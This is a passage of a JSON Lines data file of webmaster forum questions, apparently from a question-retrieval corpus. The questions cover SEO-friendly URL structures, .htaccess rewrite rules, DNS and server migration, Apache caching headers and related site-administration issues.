characterizes them) I thought _a lot_ about the **delimiter** to use. I can't use hyphens (-) since category attributes may already contain one and it's a rather typical character for such cases. I cant't use commas (,) or underscores (_) either for about the same reason and i don't like them (especially commas) on URL in general. **I prefer something like a pipe but was wondering how bad this is for SEO? How google will index my information passed as .. _Celeron|4GB-RAM_.. Will it sort it out as 2 words (as they are?)** or i should do something else?"}
{"id":"38713","title":"for a blog with posts and categories what are all the best ways to create user friendly and seo friendly urls","text":"> **Possible Duplicate:** > What is the best stucture of SEO friendly URL? I am creating a module in my website which displays ringtones. It is like creating blog posts and categories, and it will also have categories (tags) and posts. (I am using category and tag interchangeably.) I am using the following linking for this module: 1. `sitename.com\/blog` 2. `sitename.com\/blog\/category\/category-name-slug\/` -> will list all ringtones of that category\/tag 3. `sitename.com\/blog\/title\/name-slug-of-the-ringtone\/` -> will display the details and a download link In every page, at the left I display the category\/tag . This is how I have formed the url structure. Will it be user friendly, and (I hope so) will it be seo friendly as well? Please hint if I am missing something or other ways to improve. Meanwhile I am browsing the net to get more information on linking content (categorizing) and to find best ways for the user and search engine."}
{"id":"31954","title":"Depth of URLs and SEO","text":"> **Possible Duplicate:** > What is the best stucture of SEO friendly URL? Does the depth of an URL affect SEO\/Pagerank? Is there any max or optimal level for URL depth? If you have, lets say, a website to map all the vegetarian local businesses (restaurants, shops, markets, etc.) in the world, which URL format would you choose? 1. `http:\/\/example.com\/restaurant\/name\/city\/country\/1234` 2. `http:\/\/example.com\/shop\/name\/city\/1234` 3. `http:\/\/example.com\/market\/name\/1234`"}
{"id":"58878","title":"Which URL is better for SEO?","text":"I have 2 main categories: 1. Software 2. Hardware Each of these categories has 10 subcategories for example hardware: `cpu\/graphic\/hard disk` and... Which URL is better for SEO? 1. `www.example.com\/hardware\/this-is-content.html` or 2. `www.example.com\/cpu\/this-is-content.html`"}
{"id":"68897","title":"What is the best seo friendly url structure","text":"What is the right link structure for search engines? We don't have the posts creation date, only the id of the each article. Is this a good structure? `http:\/\/www.example.com\/1292\/the-url-of-the-title`"}
{"id":"68856","title":"Should I use the name of the segments in URI","text":"I am making a site that has several sub-pages structured according to countries and categories. Which URL structure is better for SEO or does it even matter? Option I: www.site.com\/australia\/cooking VS. Option II: www.site.com\/country\/australia\/category\/cooking"}
{"id":"33832","title":"url naming convention for improved seo and page rank","text":"> **Possible Duplicate:** > What is the best stucture of SEO friendly URL? Using url rewriting methods, what is a better way to organize the structure of the URLs of your website for SEO and user experience? I am using examples from large sites such as: yelp, stack overflow, Wikipedia, Amazon, eBay, yahoo, and others. Each one uses a slightly different method... 1) Does the order matter? IF so, for what purposes? Are some better for blogs vs ecommerce vs content sites? * `\/category\/{id}\/name-that-corresponds-to-the-page-title * `\/category\/name-that-corresponds-to-the-page-title\/{id} * `\/name-that-corresponds-to-the-page-title\/category\/{id} Note: the {id} is the unique identifier that must be included the URL 2) Is it better to separate words in the URL with dashes (-) or underscores (_), or something else, like plus signs \"+\"? In what cases should you use the different variations? 3) Should you keep the name of the programming language in the title of your URL, or remove it completely? What is better? * `\/category\/{id}\/name-that-corresponds-to-the-page-title.html` * `\/category\/{id}\/name-that-corresponds-to-the-page-title` 4) Assuming I do my redirects correctly after making this URL structure change, how will I be affected in terms of page ranking? Will page ranking stay the same, or go down temporarily? And if so, for how long? (All of my pages have been indexed by the search engines already) My current URL structure is: * `\/carbonated-soft-drink-p-60.html` Note: the \"p\" stands for product I want to possibly change the URL to one of the following: * `\/sodas\/60\/carbonated-soft-drink` * `\/sodas\/carbonated-soft-drink\/60` * `\/carbonated-soft-drink\/sodas\/60`"}
{"id":"63417","title":"URL SEO : Using directories or exact keyword phrase in the URL","text":"I am trying to understand how to best optimise a url for a page to rank high for specific keywords. Example: a top keyword search is \"rental properties in new york\". Question is does this keyword need to appear as this exact phrase in the url or should it be broken up into different directories for a better structure e.g.: www.abc.com\/en\/properties\/new-york\/rental OR www.abc.com\/en\/rental-properties-in-new-york Which will help the page rank higher (given all other things on the page are exactly the same)? Thanks!"}
{"id":"53701","title":"What is the most effective method of slug utilization in URL's","text":"I'm trying to define what would be the best solution for my situation and especially how this would impact SEO. I have a website that currently has URL's which include a content ID. The ID was included as I was having duplicate URL's for different content. www.example.com\/123456\/I-love-pro-webmasters However, I wish to segment content into groups which I will add into the URL www.example.com\/123456\/script\/I-love-pro-webmasters www.example.com\/123456\/design\/I-love-UI Is the latter acceptable methodology for SEO or should I be considering another solution. Would the addition of a keyword slug help with SEO? This post describes similarly what I was looking for, but is nearly three years old, therefore need to know if the rules are the same."}
{"id":"64765","title":"Best URL for cars related website?","text":"If this was your website, what will be the URLs for each car on sale? http:\/\/www.autoscout24.eu\/Details.aspx?id=247572735&asrc=ha I'm working on a car dealership website. What should be the best URL? Consider also that the company can have more models of the same car. I'm not asking for a url scheme, there are a lot of similar questions. My question is: in a car dealership website what is the best url for a car? What are by you the best variables I've to put on the url. Brand, model, year, location, color, miles\/km, etc. This website, that url, this particulary case: what will you choose for urls? (even not in the following list) audi_q5_2009.html audi_q5_2009_used.html audi_q5_2009_used.html audi_q5_2009_used_in_alcobendas.html audi_q5_2009_used\/247572735.html"}
{"id":"65792","title":"RewriteRule to send all URLs with `mod` in them to the `moderator` directory","text":"I have a `.htaccess` file in the root directory of my project, that contains all the rewrite rules for the site to functions. Most of these rules belong to the `mod` section of the site, and only two of them belong to the front end, which the users use. Problem is, when a front end user uses the site, apache ends up matching all the rules including the ones for the mods and signup etc, until it reaches the one for the end user, which I feel is unnecessary. I've checked this in the `.htaccess` log. # Mod RewriteRules, some 12 in all RewriteRule ^\/?(mod)\/(all|new|edit|redo|reject)\/(push)\/?$ \/moderator\/index.php?mode=$2&push=0 [NC,L] RewriteRule ^\/?(mod)\/(all|new|edit|redo|reject)\/?$ \/moderator\/index.php?mode=$2 [NC,L] #signUp - Again, not always needed RewriteRule ^\/?(signup)\/?$ \/acc\/signup\/index.php?a=signUp [NC,L] RewriteRule ^\/?(signup)\/(process)\/?$ \/acc\/signup\/process\/index.php [NC,L] #signIn - Again, not always needed RewriteRule ^\/?(signin)\/?$ \/acc\/signin\/index.php?a=signIn [NC,L] RewriteRule ^\/?(signin)\/(process)\/?$ \/acc\/signin\/process\/index.php [NC,L] #signOut - Again, not always needed RewriteRule ^\/?(signout)\/?$ \/acc\/signout\/index.php [NC,L] # These are the only two that a front end user will use # category\/subCategory RewriteRule ^\/?([a-z-]+)\/([a-z0-9-]+)\/?$ \/display\/index.php?t=$1&s=$2 [NC,L] # category RewriteRule ^\/?([a-z-]+)\/?$ \/display\/index.php?t=$1 [NC,L] If you look at the above rules, the last two are the only ones that a user using the front end will use. However, the cannot be placed on top, because they'll end up catching anything first, because of the way they are. Can I place all rules for the moderator, signup and signin in their own directories, and do a rewrite rule in the root `.htaccess` file, that when it detects a url with `mod`, like `\/mod\/all` will send that request to the `moderator` directory. That way the root .`htaccess` file will have only the last two rules for the front end user along with others like `no hot linking` ones. How can I do something like: If (URL Starts with '\/mod\/' then send it to the '\/moderator\/' folder where the RewriteRules there will apply) or If (URL Starts with '\/signup\/' then send it to the '\/acc\/' folder where the RewriteRules there will apply) and so on. My directory structure is as follows: \/acc\/ ...handles account login and creation \/display\/ ... handles front end display \/moderator\/ ...the sites administrator How can I achieve this?"}
{"id":"11286","title":"Facebook open graph protocol: how can I reach the scattered audience of people who liked individual pages on my website?","text":"If you add Open Graph Protocol metadata to your website that is different for every URL (so the url in <meta property=\"og:url\" content=\"http:\/\/yourwebsite.com\/somepage.html\"> is the url of the page itself), you end up with an unmanageable number of \"virtual\" fan pages. I don't see a way to post updates to (newsfeeds of ) the fans of those individual pages all at once... Do you know of any \"sitewide\" update possibility? The alternative is that you set the URL parameter in the og metadata to a constant url - either your homepage or a \"traditional\" Facebook Fan page. This has the disadvantage however that if people like an individual posting on your site, in their newsfeed it shows up as a like of your homepage or Facebook fan page, and the link their friends see is their homepage or their individual fan page - a behaviour that seems illogical to most people and can be perceived as spammy. Anyone found a good solution for this conundrum? (BTW cross-posted this on Quora http:\/\/www.quora.com\/Facebook-open-graph- protocol-how-can-I-reach-the-scattered-audience-of-people-who-liked- individual-pages-on-my-website ) PS: I tried to add the tags facebook-pages open-graph-protocol to this question, but lack the required reputation of 300 - maybe someone else can?"}
{"id":"61291","title":"Why do \"Registration-bots\" exist? What do they gain from registering on my site?","text":"I'm curious as i've been developing some anti-bot procedures for a website, only because I see others doing it. But Why?. What do the bots gain from registering hundereds of accounts? I'm building an e-commerce website and the only thing registered users can do is make purchases. Should I actually waste my time creating an anti-bot procedure (captcha\/email verification etc) I have googled this but I can find the answer. I know that bots that register on forums are able to spam it with adverts, but what about sites that dont allow a user to 'communicate' with anyone?"}
{"id":"21987","title":"Which screen resolution should I target for modern mobile phones?","text":"> **Possible Duplicate:** > Building for different screen sizes I am developing a site which needs to work on mobiles as well. I avoid specifying width and height by pixel. Mostly I am using percent for that but sometimes I need a specific area. for example, 300px `div` element. Which screen resolution should I target for modern mobile phones in general? I know it varies but what is the higher number. Most of my concerns are iPhone, Windows Phone and Android."}
{"id":"43596","title":"Is there an easy way to see the Top 100 Global Websites based on monthly uniques?","text":"I can easily see the top 100 sites on Quantcast, or most of their competitors, but they're based on US uniques. Now, Quantcast provides Top Lists for non-US Visitors, but they're country by country, so I'd have to dump the Top list from each country and sum them, which isn't practical. Is there some other way to get the top X sites based on global uniques?"}
{"id":"43594","title":"Age verification in website questions","text":"I am working on a website for a client that is requesting a way to verify your age. I have debated on creating a cookie that stores your age but I am unsure on a few things. 1. How does SEO play into this if I create a landing page prior to the physical address? 2. Is there a better way to possibly go about doing this other than a cookie? 3. Should I create a separate page or code it within the header of the index page? This is something similar I am trying to accomplish."}
{"id":"68547","title":"Does social networking really help promote a site?","text":"Every site promotion manual states that it's crucial to use social networks in a site promotion. But which specifically does this mean? 1. Even the FACT that your site has several social network satellite pages gets it higher in the search ranks 2. Only successful social networking (many replies, likes, shares etc) MAY help your site to get higher in the search ranks. Say, I create accounts in 10 major social networks and keep updating them constantly for several months. None of the accounts attracts a significant audience. Will this help promote my site or is it just a waste of time?"}
{"id":"25520","title":"Should 304 Not Modified responses include the \"Last Modified\" header?","text":"I've been using the most excellent http:\/\/redbot.org tool for testing have HTTP headers on my site correct (its custom code in PHP serving dynamic content - wanting to ensure it cached where possible - served by Apache2) One of the tests says: The If-Modified-Since response is missing required headers HTTP requires 304 Not Modified responses to have certain headers, if they are also present in a normal (e.g., 200 OK response). This response is missing the following headers: last-modified. This can affect cache operation; because the headers are missing, caches might remove them from their cached copies. ... so resonse doesnt include the Last-Modified header. However the code does try to send it. Investigating further, it seems that Apache uses a whitelist of HTTP headers, it will allow on 304 responses... if (r->status == HTTP_NOT_MODIFIED) { apr_table_do((int (*)(void *, const char *, const char *)) form_header_field, (void *) &h, r->headers_out, \"Connection\", \"Keep-Alive\", \"ETag\", \"Content-Location\", \"Expires\", \"Cache-Control\", \"Vary\", \"Warning\", \"WWW-Authenticate\", \"Proxy-Authenticate\", \"Set-Cookie\", \"Set-Cookie2\", NULL); } else { send_all_header_fields(&h, r); } This is found around line 1281 in modules\/http\/http_filters.c of the Apache HTTPD 2.2.22 source code. .... \"Last-Modified\" is not on that list. **So the question is - which is wrong, redbot, or Apache?** http:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec10.html doesn't seem to specify if the Last-Modified should be included. (it does say the Etag should be - and that is allowed in Apaches list) Just incase its useful, this is the test case: http:\/\/redbot.org\/?uri=http%3A%2F%2Fwww.geograph.org.uk%2Fhelp%2Fsitemap - my code does include the Last-Modified header - its just that redbot never gets it (nor any custom X-.. headers)."}
{"id":"54100","title":"GWMT Show Non Existent Backlinks \"Via Intermediate Link\"","text":"I run 2 sites, Site A and Site B. These are ecommerce sites, with site A being built first, and both sites selling the same thing. They are hosted separately, use separate CMS (one magento and one pinnacle), and do not use duplicated content. We sell chemicals, this is important because we make available for download (by law mind you) the Labels and MSDS's for said chemicals. These are legal documents that are written by the manufacturers for the consumer's safety, etc. My problem is that my GWMT account shows over 16k backlinks going from site B to site A, and all 16k can be associated with 24 pdf files on site A that were simply copy and pasted into site b's server. GWMT shows them as backlinks \"via intermediate\" links which should indicate both a link somewhere AND a redirect somewhere, neither of which exist. **There are no links, there are no redirects anywhere in my code.** These should not be showing up in the first place. I have no unnatural link flag warnings. Is anyone having this issue, or have a solution for this issue? Why is google showing these as links in the first place? Am i being penalized for duplicate content?"}
{"id":"69074","title":"Would having a '.\/' in a URL cause any trouble with search engines?","text":"For code simplicity, some of my URLs in my website might contain a `.\/` For example: > www.example.com\/.\/something The `.\/` is automatically stripped-out by the browser, and the resulting URL is: > www.example.com\/something My question is: could such URLs cause any trouble? Will search engines be able to correctly resolve these URLs?"}
{"id":"25529","title":"What credibility indicators can be used for a new web app?","text":"I understand that when you have an app which you launched an year back or so, its pretty easy to get testimonials from your users which then works as 'credibility indicators' when published on your website. They work in your favor and convert more visitors into your customers. But I want to know if there are any credibility indicators which you can use with a new web app or website?"}
{"id":"58632","title":"Using .htaccess, can you hide the true URL?","text":"So I have a web hotel with 1 main website http:\/\/www.myrootsite.com\/ and a few websites in subdirectories, in a folder called projects. I have domain names pointing to the subdirectories, but when holding the mouse over a link in those websites the URLs are shown as: http:\/\/www.myrootsite.com\/projects\/mysubsite\/contact.html When I'm on `mysubsite.com` I want them to be shown as: http:\/\/www.mysubsite.com\/contact.html I spoke to support for the web hotel and the guy said try using _.htaccess_ , but I'm not sure exactly how to do this. Thank you very much for your time! **Edit: For more information** My website is: `http:\/\/www.example1.com\/` and I also own `http:\/\/www.example2.com\/`. All of `example2.com`'s files are in: `example1.com\/projects\/example2\/`. When you visit `example2.com`, you'll notice all of the URL's point towards: example1.com\/projects\/example2\/ but I want them to point towards: example2.com\/ Can this be done? I hope this is enough info for you to go on :). **Edit: For w3d** I go to the url `mysubsite.com` and the browser shows the url `mysubsite.com`. The services I'm using create an iframe around `myrootsite.com` and use the url `mysubsite.com` I just hate that in Firefox and Internet Explorer, holding the mouse over link show that the destination url is: `myrootsite.com\/projects\/mysubsite\/...`"}
{"id":"45366","title":"Guide to migrating live Ubuntu server","text":"Does anyone know of a good guide for migrating from one Ubuntu server to another. I am going to move the home of my live ruby on rails application and I need to have as little down time as possible, move all the databases and my postfix\/smtp etc. I'd like to be aware of the pitfalls before setting out and a good hand-holding guide would be handy as this is my first time doing this on a live production server. Thanks. This is not a duplicate of best practice to migrate server My question: Does anyone know of a good guide? I mean a tutorial, not a simple list of some pointers but a step by step guide. The linked question: A handful of things to consider. Very much not a duplicate. I asked this on stackoverflow and server fault, it is outside the scope of those pages, however, there are much better answers on those networks already to the light list of things to consider. What I'm looking for is a guide or tutorial."}
{"id":"26148","title":"Server move - DNS change time","text":"> **Possible Duplicate:** > best practice to migrate server I'm planning on moving a large active forum to a new server soon. However, the main issue I have is the time it will take for the DNS to update on the domain to the new server. As a result, the only way I can really see to avoid things getting messy with both sites being \"active\" while the DNS propagates at different times around the world is to disable posting on the old server while things are moving over, and as people get the new DNS info they'll be able to post again as they see the site on the new server. I understand that setting a low TTL on the domain would pretty much solve this issue, but unfortunately this isn't an option and I'm stuck with the default 24 hours. As far as I'm aware, I'm not able to access the database outside of server itself due to security restrictions, so I can't have both sites pointing at one database either. Or at least I'm not aware of a way of doing it. I guess the main question I have (and I fear I may know the answer) is if there's any other way to speed up the DNS move or somehow tell the site\/domain where to look for the new server? Making the site read-only day or so for a chunk of users obviously isn't ideal, but if it's the only option then I'll have to go that route I guess."}
{"id":"21992","title":"Reach Local Proxy Page - Duplicate content?","text":"We have a client who has instructed Reach Local to manage their paid SEO work etc. RL have created a proxy version of the page at http:\/\/example- px.rtrk.co.uk which mirrors the existing site completely. Would I be correct in assuming that this would count as duplicate content and one or both of the sites would be penalized because of this? And would the addition of a rel=\"canonical\" meta-tag on the proxy site assist with this? Many thanks in advance."}
{"id":"54591","title":"Are bad backlinks causing thousands of 404 and 410 errors in webmaster tools?","text":"Our webmaster tools account is showing 250.000 errors related with weird links from other sites. These URLs are comming mostly from non existent sites or are being generated directly by our website. Here some examples of these URLs: oursite.com\/&q=videos+caseros+sexo+pornos+gratis&sa=X&ei=R638T8eTO8WphAfF2vG8Bg&ved=0CCAQFjAC%2F%2Fpage%2F2%2Fpage%2F3%2Fpage%2F4%2Fpage%2F3%2Fpage%2F4%2Fpage%2F3%2Fpage%2F4%2Fpage%2F5%2Fpage%2F4\/page\/3 Our site is a popular spanish adult site, yet we don´t have keywords which are being mentioned in this URL. Apparently this link comes from our site. Some more examples: oursite.com\/&q=losmejoresvideosporno&sa=X&ei=U__8T-BnqK7RBdjmhYsH&ved=0CBUQFjAA%2F%2Fpage%2F2%2Fpage%2F3%2Fpage%2F2%2Fpage%2F3%2Fpage%2F2%2Fpage%2F3%2Fpage%2F4%2Fpage%2F3%2Fpage%2F2%2Fpage%2F3\/page\/4 Once again: not our queries, not out URLs. oursite\/tag\/tetonas We think that it might be other site, which is having a policy of extremely bad SEO based on other sites branding and keywords usage: thirdsite\/buscador\/tetonas-oursite The question is: if other sites are generating these URLs, how can we prevent this? Why the tag is being generated if no link was added to the other site? What should we do with these errors? 301? 410 gone? I have read all similar Q&A here but none of them seems to solve our problem. It is not likely to be a bad ad (Inspected them all). Maybe some all content which google decided to recrawl suddenly? Maybe third parties bad SEO policy? Maybe all of them?"}
{"id":"42429","title":"Replacement for DirectoryIndexRedirect for older versions of Apache","text":"`DirectoryIndexRedirect` is available in version 2.3.14 and later. (mod_dir) Is there an alternative method for older versions? I have different `DirectoryIndex` directive sets for a lot of directories and would like a generic rule I can apply on the root directory. That way I would not have to maintain separate redirect rules for each directory."}
{"id":"34450","title":".htaccess two different rules but only one per time","text":"I'm rather new to the whole .htaccess thing and I'm using the following right now to use 'pretty url's': <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php?path=$1 [NS,L] <\/IfModule> Now i found my website a bit slow and decided to start gzipping my CSS files thru a php script I found somewhere on the web (the website). For this to work I need to rewrite the url to open the correct php file. That would look something like this: RewriteRule ^(.*).css$ \/csszip.php?file=$1.css [L] But I only want the first to happen when the second doesn't and vice versa. In other words i'd like something like this: <IfModule mod_rewrite.c> RewriteEngine On if request doesn't contain .css do RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php?path=$1 [NS,L] else do RewriteRule ^(.*).css$ \/csszip.php?file=$1.css [L] <\/IfModule> Can anyone help me with the proper code or a place where i can find a way to use some kind of conditional statement in htaccess files?"}
{"id":"42425","title":"301 redirect bulk aspx URLs on IIS","text":"We recently relaunched an old ASPX site as a new Drupal site on the same domain. No 301 redirect was implemented. I have outputted a list of 1000 URLs that need to be 301 redirected. Most of the URLs are the results of search queries that were committed on the website. I.E.: http:\/\/www.mysite.com\/electronics\/CommunityDetails.aspx?FirstLetter=%&ID=444 We are running a Drupal site on IIS using a PHP plugin. Is there a way I can wild card a redirect of all ASPX pages? I know I can do it with _.htaccess_ but that doesn't apply here. Any suggestions appreciated."}
{"id":"42352","title":"Is it normal for a registrar to charge for nameserver changes?","text":"My registrar, 34sp.com, wants to charge for changing nameservers for a domain. The domain is a .cc domain. If this matters. Is this normal? I've never heard of this before. Almost $30 US for a nameserver change?! Surely this is just a text file?"}
{"id":"17311","title":"Explain DNS\/Content\/Registration with services such as Blogger and Go Daddy","text":"I have this kind of settings for Google Sites and Blogger in Godaddy, below. I cannot get URL Framing (not URL masking) working with them. I am unsure what the problem, cannot understand what services such as Blogger and Godaddy really do. **Wrong A-records in Go Daddy!** ; A Records @ 3600 IN A 216.239.32.21 art 3600 IN A 64.202.189.170 abc 3600 IN A 64.202.189.170 @ 3600 IN A 216.239.34.21 @ 3600 IN A 216.239.36.21 @ 3600 IN A 216.239.38.21 lol 3600 IN A 64.202.189.170 ; CNAME Records www 3600 IN CNAME ghs.google.com mobilemail 3600 IN CNAME mobilemail-v01.prod.mesa1.secureserver.net pda 3600 IN CNAME mobilemail-v01.prod.mesa1.secureserver.net email 3600 IN CNAME email.secureserver.net imap 3600 IN CNAME imap.secureserver.net mail 3600 IN CNAME pop.secureserver.net pop 3600 IN CNAME pop.secureserver.net smtp 3600 IN CNAME smtp.secureserver.net ftp 3600 IN CNAME @ webmail 3600 IN CNAME webmail.secureserver.net e 3600 IN CNAME email.secureserver.net 1. Please, explain the \"Custom Domain\" and how can I hide my blogger url? 2. ok I am still unsure what the \"custom domain\" in blogger really mean, does it mean that the content hosting is moved to some other site? 3. Or does it mean that it just hides the blogspot url with other url? 4. Or is it this so-called \"301\" thing or \"URL redirection\" or something else? **Related questions** 1. Control Content Hosting, DNS Hosting and Registration with command line?"}
{"id":"2631","title":"Should my Title tag be the same as my H1 tag?","text":"I have read that I should make the contents of my `<title>` and `<h1>` tags the same. Is that the case or is does Google look at the content of those 2 tags separately?"}
{"id":"54361","title":"How to move domain from 1&1 to fasthosts with minimum downtime","text":"How can we move our domain name from 1&1's control over to our new host with as little affect (if any) on downtime for our domain name. We've tried moving name servers before and our site went dark despite us defining all the old records on to the new name server host, now this time we're going to move the entire domain to another company but we've been bit so many times by this that I'm trying to find out what the process should be, and whether it can be done in a way to prevent down time"}
{"id":"31755","title":"Removing .html and index.html from URL","text":"I'm having some problems trying to 1. Remove the .html extension from URLs 2. Removing 'index.html' from an URL 1) To remove the extension I have tried using this in my htaccess file. RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME}\\.html -f RewriteRule ^(.*)$ $1.html However when I click links in my HTML such as `<a href=\"abcde.html\"><\/a>` it doesn't remove the .html from the URL and I am left with `www.website.com\/abcde.html` 2) I tried using this to remove the index.html RewriteCond %{THE_REQUEST} \\\/index\\.(php|html)\\ HTTP [NC] RewriteRule (.*)index\\.(php|html)$ \/$1 [R=301,L] But when I load an index.html file on my server, my URL looks something like this www.website.com\/folder\/\/ I am left with an extra `\/` at the end. Can anyone help me out?"}
{"id":"12791","title":"Why did my new markup cause the site to disappear from Google?","text":"Unfortunately this post isn't about something as concrete as a bug, but it's been driving me nuts. I recently updated my blog's theme and software (I basically rewrote it) from http:\/\/old.korokithakis.net\/ to http:\/\/www.korokithakis.net\/. Yesterday, I noticed all my pages dropping from Google's search results. My Python tutorial used to be 3rd for \"learn python\" and now it's 30th, if it even appears on the list. I've allowed robots, all the header tags are in place, titles are the same as they used to be and the URLs that changed have permanent redirects to the new ones (the tutorial URLs haven't changed). Still, all my pages dropped from the results. What can be having such a huge impact on the rankings? Thanks."}
{"id":"12794","title":"Movable Type on GoDaddy","text":"I have deluxe linux shared hosting with godaddy, and it supports perl. but i dont know how to setup and use perl scripts. Also i have no folder named CGI or CGI-BIN or anything like that. As movable type requires me to put my content in the CGI folder, i cant. creating it also doesn't work. So can you guide me on how to install movable type on godaddy. Also i dont want to spend money and install it from the godaddy hosting connection. And please remember as i'm on a shared hosting, i might not be able to edit my apache server configuration file. Thanks."}
{"id":"12795","title":"Adding a second domain to a website","text":"I want to direct an easy to remember domain url to my website that has nothing to do with the brand or the original domain. What is the proper way to add a second domain to a website without opening up the chance for being penalized by search engines? I don't want the second domain to show up in SERPs."}
{"id":"2769","title":"How does Google's Website Optimizer do all its funky goodness with an unbalanced <\/noscript> tag?","text":"Last week one of the guy's at our office did a talk on using Google's Website Optimizer for AB multivariate testing. In the talk, he says that when you set it up you just add some special code to the page around the HTML you want to vary [ see #3 under multivariate test here ] <script>utmx_section(\"Headline\")<\/script> Welcome! <\/noscript> What's going on with that unbalanced tag at the end? What magic is Google doing?"}
{"id":"9156","title":"Contact YouTube","text":"Is there any direct way do contact a „real” person, an YouTube employer? Someone created an account for the company I work for (previous employer). She entered some password and e-mail. The provided e-mail was valid, but since last login (more than two years), we changed our domain, and this e-mail is probably not valid anymore (and we even don't know it), co we can't use option to reset password. I have used all the options in YouTube help center, and no one worked. Also we _can't_ contact this previous employer to get any data she entered in the registration form. The only data I know is the username. All the movies present the products of our company, there are links to our site in movie descriptions, so there should be no problem to prove that the account is ours. This is an urgent case, becouse the movies contain outdated information."}
{"id":"10337","title":"What is user agent Issbot","text":"I am seeing a lot of traffic to my website from user agent Issbot. This certainly looks like a bot, but is not listed in the www.user-agents.org listing, and I have not been able to find anything useful on Google. Does anyone know what or who this is?"}
{"id":"57573","title":"I have a website which uses page refresh when the browser is resized below a certain point am I violating AdSense TOS?","text":"Will google AdSense punish me for refreshing the page if the user resizes the browser below a certain point?"}
{"id":"64818","title":"Why does bingbot access my sites the most even if I set crawl rate to the minmum?","text":"Recently my sites got overloaded and it turned out bingbot was the culprit. I set the crawl rate for the minimum for my sites in bing webmaster tools, but regardless bingbot has the most access (about 30000 requests a day) among all the crawlers. Google has less requests a day. Do you also experience heavy traffic from bingbot? Why doesn't it behave when I set crawling rate to a minimum?"}
{"id":"31754","title":"Install Moodle to subdomain with Softaculous via cPanel","text":"I installed Moodle to a directory with Softaculous. Since it doesn't allow installing to a subdomain, after installing it I created a subdomain and pointed the destination (of the subdomain) to the previously created Moodle directory. Now when I go to the `subdomain.example.com` it says > Incorrect access detected, this server may be accessed only through > \"`http:\/\/example.com\/moodle`\" address, sorry. Please notify server > administrator. I must be doing something wrong, when installing it was very similar to these instructions. Any suggestions would be much appreciated."}
{"id":"16401","title":"I need good CRM written in php","text":"I need open source, mature, good, flexible, extensible php CRM with liberal free license that allowing for redistribution. I heard that SugarCRM is good one, but its not free, and right now their page is not working."}
{"id":"16958","title":"where should I use new → I see everywhere?","text":"I currently use  to refer to an external link on my personal website. However recently I have started noticing extended use of → for links. Is this a replacement for  ? or is it used to convey some other meaning?"}
{"id":"9480","title":"Is it legal for U.S. based websites to serve online gambling ads?","text":"I have a site that hits the sweet spot for that demographic but my user base is 90% in the U.S."}
{"id":"21191","title":"Why is my favicon broken in Firefox?","text":"My new favicon works in Safari and Chrome, but it's weirdly split in Firefox on Mac or Windows:  However, if you navigate to the favicon itself it appears fine:  You can see how it looks in your browser here: http:\/\/coastsider.com I created the file as a png and later a jpg in Acorn. I converted it to .ico using Graphicconverter. I've also tried converting the png to an ico in other programs. Has anyone seen this problem before?"}
{"id":"21194","title":"Incoming Cname does not show the subdomain","text":"I have a subdomain: sub.domain-one.com which has a CNAME which points to sub.domain-two.com. All good. But when I enter sub.domain-one.com I don't see the sub.domain-two.com, but the basic page of the server. What am I doing wrong?"}
{"id":"21195","title":"How to allow customer to \"View Cart\" \/ \"Checkout\" in PayPal?","text":"We're setting up a simple website with PayPal. We've implemented a bunch of **Add to Cart** buttons and they're working well. But we assumed we would also add a **View Cart \/ Checkout** button at the top, so that the customer can stop shopping and complete his purchases. I know the customer can - in PayPal - finalise\/checkout any time he clicks on an **Add to Cart** (so he should do it on his _final_ add) but he may not have known at that stage that it _was_ his final purchase. Surely there's some PayPal code we can drop onto our **View Cart \/ Checkout** button which will take the customer direct to his PayPal checkout? But the PayPal page listing button types doesn't have a checkout button:  Note: this question isn't about the button image (we're doing that ourselves), it's about what plumbing to put in behind the scenes."}
{"id":"20821","title":"Only First Link Counts","text":"If anyone hasn't seen yet the following blog: http:\/\/www.seomoz.org\/ugc\/3-ways-to-avoid-the-first-link-counts-rule It is describing that from at least two links (so two or more) that are located on the same page and both (or all if more than two) pointing to the same other page, only the first one will have some seo benefit (link juice). The rest won't count in seo benefit. Here doesn't count the links in images. I think most of us knew that already BUT: 1. As ''first link'' is probably meant the first one in the HTML code of particular page but what when we are in the process of designing the page? In this case the code is changing on the fly (xsitepro - ''what you see is what you get'' simplified tool for website design). First link in the code can be replaced with new first one at any time. Is there any fast way to see which one is really the first one in the html code of the page? 2. Sure the fact that first links only counts for seo benefit isn't relevant for images. But what about other links such as the ones in footer, buttons, potential testimonials, links in navigation menu and so on? Does absolutelly everything (except images) what is dofollow counts? 3. Is that fact relevant along internal links, also for outbound and inbound ones? Probably yes."}
{"id":"60805","title":"Dynamically load CSS","text":"I'm using LESS for creating CSS and I'm considering using something like `grunt-render` on the server side in order to only load the CSS \/ JS that is needed for that page. My goal is to reduce overhead for page load. My CSS is fairly big, but I wonder; Will it matter if my CSS is minimized anyway? Will a few bytes less make any difference?"}
{"id":"20822","title":"How to make CloudFlare cache everything?","text":"I want CloudFlare to cache everything, PHP files too, every request from the domain, I want it to cache it. Is this possible? (There are PHP scripts on the domain that print out images, JS and CSS, they return the appropriate mime type, but I read that CloudFlare caches according to file extenstion, if printing out the mime type helps, it's good too.)"}
{"id":"20825","title":"Facebook and Crawl-delay in robots.txt?","text":"Do Facebook's webcrawling bots (for example facebookexternalhit\/*) respect the `Crawl-delay:` directive in _robots.txt_ files?"}
{"id":"9861","title":"Alot of Pirated Material on Someone's Website - What Can Be Done?","text":"We've developed our website for over 10 years. Recently a website in China has begun to pirate our images and product descriptions (they are showing \"new\" March offerings). Nearly all of the items they \"offer\" are ours. Their whois leads to an outfit in France which by chance also hosts a website for Steroids, and both the Steroid and the pirate site share an 800 phone number (coincidence??). The pirate site lists \"their\" products as being available in mass quantities, though very often the actual product is one-of-a-kind. The images they've stolen appear in google searches alongside our own!! Clicking on any product at the pirate site leads to nowhere. Calls to the 800 number lead to a recorded answer. No reply to our emails (funny if they would have!) Any suggestions on what to do? Much obliged for any help. https:\/\/www.collectiblereview.com (the pirates) http:\/\/www.anabolic-store.com (steroids)"}
